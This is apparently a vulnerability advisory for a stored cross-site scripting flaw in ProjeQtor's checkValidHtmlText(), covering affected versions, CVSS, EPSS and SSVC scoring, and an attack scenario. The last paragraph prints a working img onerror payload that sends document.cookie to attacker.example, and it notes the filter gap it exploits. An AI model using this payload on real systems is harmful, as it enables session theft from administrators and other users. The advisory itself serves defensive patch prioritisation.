ProjeQtor CVE-2026-41466

The attacker must hold a valid authenticated ProjeQtor account with at least low-level privileges sufficient to submit input to rich-text fields processed by checkValidHtmlText() in Security.php (CVSS PR:L). A victim user must passively navigate to the page containing the stored payload for execution to occur (CVSS UI:P - passive interaction, not an active click-through required). No special server configuration, non-default feature enablement, or specific deployment mode is required - the flaw exists in the core sanitization function present across all versions 7.0 through 12.4.3. Exploitation is constrained to impact on the victim's browser session (subsequent-system scope); direct server-side compromise is not achievable via this vector. SSVC confirms the attack is not automatable, requiring the victim to organically view injected content.

The CVSS 4.0 score of 5.1 (AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N) correctly captures the medium-severity profile: network-reachable, low complexity, but gated by authenticated access (PR:L) and passive victim interaction (UI:P), with impact limited to subsequent-system scope (victim browser). EPSS at 0.03% places this in the 9th percentile - well below thresholds that would indicate automated or widespread exploitation. SSVC reinforces this: exploitation is assessed as poc-only, not automatable, and technical impact is partial, meaning no server-side compromise is achievable through this vector alone. The existence of public researcher write-ups (damiri.fr, gryfman.fr) lowers attacker barrier but does not by itself indicate active campaigns. The key realistic risk is session cookie theft or privilege escalation within the ProjeQtor application for organizations where untrusted users hold accounts - elevated concern in multi-tenant or customer-facing deployments. Absent KEV confirmation, this is a real but non-emergency patching priority.

An authenticated ProjeQtor user with a low-privileged account submits a project note or task description containing <img src=x onerror=fetch('https://attacker.example/c?'+document.cookie)>, which bypasses checkValidHtmlText() because the function's pattern set does not cover img event handlers. The payload is persisted to the database and silently fires in the browsers of all subsequent users - including project managers and administrators - who navigate to the affected record, enabling session token exfiltration or further phishing. A public proof-of-concept exists, lowering the technical bar for this attack.